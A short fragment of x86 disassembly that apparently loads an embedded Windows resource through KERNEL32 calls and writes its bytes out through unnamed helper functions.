call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xb4c074
push ecx
mov edi, eax
call fcn.00b37198
mov esi, eax
add esp, 8
test esi, esi
jne 0xb233cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00b3702e
push esi
call fcn.00b36fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret